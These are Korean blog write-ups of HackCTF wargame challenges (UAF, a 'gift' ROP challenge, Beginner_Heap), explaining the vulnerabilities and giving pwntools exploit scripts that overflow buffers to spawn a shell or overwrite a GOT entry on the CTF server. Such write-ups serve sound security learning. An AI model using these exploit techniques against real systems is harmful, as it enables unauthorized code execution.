H문제 파일을 보면 32비트 파일임을  확인할 수 있고, 보호기법을 확인하면 canary와 nx가 적용되어 있음을 확인할 수 있다.

파일을 실행시키면 노트 추가, 삭제, 출력 기능이 있는 것을 확인할 수 있다.

아이다로 사용된 함수들을 보면 다음과 같다. 

main 함수
add_note 함수
del_note 함수
print_note 함수
magic 함수

일단 system 함수로 flag를 출력하는 magic 함수를 호출하는것이 목적인거 같다. 

main 함수에서 사용자의 입력에 맞게 함수를 실행시켜 준다.

add_note 함수에서는 notelist 라는 전역변수 배열에 값이 있는지 확인하고, 없으면 8만큼 동적할당을 해준다. 그리고 notelist의 각 요소에 순서대로 입력한 크기만큼 동적할당을 해준다.

del_note 함수에서는 추가한 note를 삭제하면서 free를 해주고 있다. free할때는 먼저 배열의 요소에 할당한 메모리를, 그리고 그 배열 공간을 해제해준다.

print_note 함수에서 인덱스를 입력받고, 그 인덱스에 해당하는 note를 출력한다. 

del_note함수에서 free를 한 후 할당했던 메모리 공간을 초기화하지 않아서 UAF 취약점이 발생한다. 

add_note 함수에서 8을 동적할당해 줄 때 print_note_content 라는 함수 포인터를 할당하는 것을 확인할 수 있다. 

add_note 함수를 호출 하여 값을 입력한 후 bp를 잡고 메모리 영역을 확인해보면 다음과 같다. 

notelist 배열에 저장되어있는 주소값에  입력값이 저장된 주소를 갖고있고, 그 주소에 접근하면 입력된 값이 저장되어 있는 것을 확인할 수 있다. 그러나 free 이후에도 입력값을 저장하는 주소에 대한 값은 초기화되지 않는다.

따라서 notelist의 0x0966f160 자리에 magic함수 주소를 넣으면 magic 함수를 실행시킬 수 있다. 

free를 하면 함수포인터를 저장하기 위한 공간인 8바이트와 사용자가 입력한 크기가 해제되기 때문에 add_note를 두 번 호출한 후 만들어진 두 공간을 모두 해제하고, 8바이트를 할당하면 함수 포인터가 저장된 공간에 사용자 입력값이 들어가므로 입력값으로 magic 함수의 주소를 넣어 해당 함수를 실행시킬수 있다. 

이 과정을 익스 코드로 작성하면 다음과 같다.

'Security & Hacking > Wargame' 카테고리의 다른 글

[Hack CTF] Beginner_Heap  (0) 2021.10.18
[HackCTF] RTC  (0) 2021.10.06
[HackCTF] Yes or no  (0) 2021.08.23
[HackCTF] Look at me  (0) 2021.08.06
[HackCTF] RTL_Core  (0) 2021.07.30

file 명령어로 문제 바이너리를 확인하면 32비트 파일이고, checksec명령으로 보호기법을 확인하면 nx 보호기법만 적용되어 있는 것을 확인할 수 있다.

파일을 실행하면 두개의 주소값을 출력해주고, 두 번 입력받는 것을 확인할 수 있다.

gdb로 main 함수를 확인하면 다음과 같다.

아이다 헥스레이 기능으로 main 함수를 보면 다음과 같다.

프로그램을 실행했을 때 출력해 주는 주소값중 첫번째는 /bin/sh 문자열의 주소이고, 두번째는 system 함수의 주소값인것 같다. 

gets()함수에서 bof가 발생한다.

그러나 다음과 같이 출력하는 binsh 주소에 접근해보면 /bin/sh 문자열이 없는 것을 확인할 수 있다.

따라서 gets 함수를 이용하여 binsh 주소에 /bin/sh 문자열을 써 넣어야 한다. 

익스 과정을 생각해보면 파일에서 출력해주는 두 주소값을 저장하고, fgets()로 입력받는 부분은 더미값을 넣어 넘긴다.

gets로 입력받는 부분에서 bof를 발생시켜 binsh에 gets 함수로 /bin/sh문자열을 써 넣고 system 함수를 binsh주소를 인자로 넣어 실행한다. 작성한 익스 코드는 다음과 같고, 실행하면 쉘을 딸 수 있다.

from pwn import *

p = remote("ctf.j0n9hyun.xyz", 3018)
e = ELF("./gift")
pr = 0x080483ad
gets = e.plt["gets"]

p.recvuntil(": ")
binsh = int(p.recv(10), 16)
sys = int(p.recv(10), 16)
print(hex(binsh))
print(hex(sys))

p.sendline("asd")
p.recvuntil("asd\n")

pay = "A"*136
pay += p32(gets)
pay += p32(pr)
pay += p32(binsh)
pay += p32(sys)
pay += "A"*4
pay += p32(binsh)

p.sendline(pay)
p.sendline("/bin/sh\x00")

p.interactive()

문제 바이너리를 file 명령으로 확인해보면 64bit 바이너리이고, checksec 명령으로 확인하면 nx 보호기법만 있는 것을 확인할 수 있다. 

아이다에서 main 함수를 확인하면 다음과 같다. 

동적할당으로 v3(16 바이트), v3+1(8바이트), v4(16 바이트), v4+1(8바이트) 에 값을 할당하고 있고, 변수 s에 두 번 입력을 받고, s의 값을 strcpy함수로 v3+1, v4+1에 s의 값을 복사하는데, s에 입력받을 수 있는 값이 매우 크기 때문에 bof 취약점이 발생한다. 

또한 다음과 같이 0x400826에서 선언된 함수에서 flag를 출력하고 있다.

첫 번째 fgets 함수에서 v4+1까지 더미값을 채우고 main 함수에서 exit 함수를 실행하고 있으니, exit 함수의 got를 넣고, 다음 fgets 함수에서 플래그를 출력하는 함수의 주소를 넣으면 exit함수의 got가 플래그 실행함수의 주소로 써져서 exit를 실행할때 플래그를 출력할 수 있다. 더미값은 v4까지 16+8+16 = 40 바이트를 채운다. 

익스코드를 작성하면 다음과 같고, 실행하면 플래그를 얻을 수 있다.

from pwn import *

p = remote("ctf.j0n9hyun.xyz", 3016)
e = ELF("./beginner_heap.bin")


pay = "A" * 40
pay += p64(e.got["exit"])

p.sendline(pay)

pay = p64(0x400826)

p.sendline(pay)
p.interactive()

'Security & Hacking > Wargame' 카테고리의 다른 글

[HackCTF] UAF  (0) 2021.11.12
[HackCTF] RTC  (0) 2021.10.06
[HackCTF] Yes or no  (0) 2021.08.23
[HackCTF] Look at me  (0) 2021.08.06
[HackCTF] RTL_Core  (0) 2021.07.30

+ Recent posts